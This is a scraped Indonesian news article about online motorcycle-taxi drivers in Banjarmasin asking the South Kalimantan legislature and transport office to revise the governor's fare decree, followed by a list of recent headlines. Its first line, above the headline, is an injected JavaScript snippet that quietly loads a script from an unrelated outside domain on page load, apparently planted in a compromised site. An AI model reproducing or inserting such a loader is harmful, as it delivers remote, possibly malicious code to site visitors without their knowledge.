(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Driver Ojol Minta Dishub Kalsel Revisi SK Gubernur


KANALKALIMANTAN.COM, BANJARMASIN- Sedikitnya 15 perwakilan dari ratusan driver ojek online (Ojol) dipanggil ke dalam kantor DPRD Kalimantan Selatan, Selasa (15/8/2023) siang.

Usai melakukan orasi di halaman kantor DPRD Kalsel mereka disambut oleh Sekretaris Komisi III DPRD Kalsel H Gusti Abidinsyah SSos.

Wakil rakyat ini meminta agar massa dapat menyuarakan aspirasi dengan lebih baik dan terstuktur.

“Kami dari DPRD sebelumnya sudah pernah menerima, cuma memang perlu ada hal yang kita luruskan lagi, kita coba akan lebih intensif lagi kami minta perwakilan untuk datang langsung ke kita mencoba untuk menyelesaikannya hari ini juga,” kata Abidinsyah.

Baca juga: BREAKING NEWS! Protes SK Gubernur, Ratusan Driver Online Serbu DPRD Kalsel

Sementara itu Joni Raflianoor, perwakilan Driver Online Kalsel Bersatu (DOKB) menyebutkan dalam isi tuntutan mereka, SK tersebut sudah dikeluarkan, tapi setelah dipelajari SK tersebut masih jauh dari harapan.

Adapun hasil angka tarif yang berada di angka Rp16.000 pihaknya mengatakan tidak menyebutkan secara detail bahwa itu adalah pendapatan yang bersih diterima.

“SK tersebut tidak sesuai dengan kemauan kawan-kawan yaitu penepatan tarif Rp16.000 itu untuk tiga kilometer pertama, tidak dikatakan pendapatan bersih dalam SK tersebut,” ucap Joni Raflianoor mewakili driver lainnya, Selasa (15/8/2023) siang.

Baca juga: Mako Induk Rampung, Gedung Auditorium Polda Kalsel Menyusul Dibangun

Dalam SK tersebut juga menetapkan tarif batas atas dan tarif batas bawah angkutan sewa khusus di Provinsi Kalsel senilai Rp3.900 dan Rp6.500 per kilometer.

Masalah ini membuat adanya celah hukum bagi aplikator driver online, dimana angka pendapatan itu dapat potongan sebesar 20 persen dari aplikator.

Menurut wakil driver Ojol ini, pemerintah dalam merumuskan SK tersebut belum memahami adanya komposisi fee aplikasi dan biaya aplikasi.

Sementara itu di dalam ruangan, nampak berhadir perwakilan Dinas Perhubungan Kota Banjarmasin dan Dinas Komunikasi dan Informatika Kota Banjarmasin.

Baca juga: Warga Padati Stan Kuliner Gratis Hari Jadi Ke-73 Kalsel

Mereka menegaskan bahwa Dinas Perhubungan dapat segera merevisi SK tersebut dalam tenggat waktu hingga 1 September 2023.

“Kami ingin pendaatan bersih bukan hanya perkara menerima tuntutan namun juga memberikan keputusan hari ini juga,” tandasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Risa

Recent Posts

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

2 jam ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

6 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

23 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

1 hari ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

1 hari ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

1 hari ago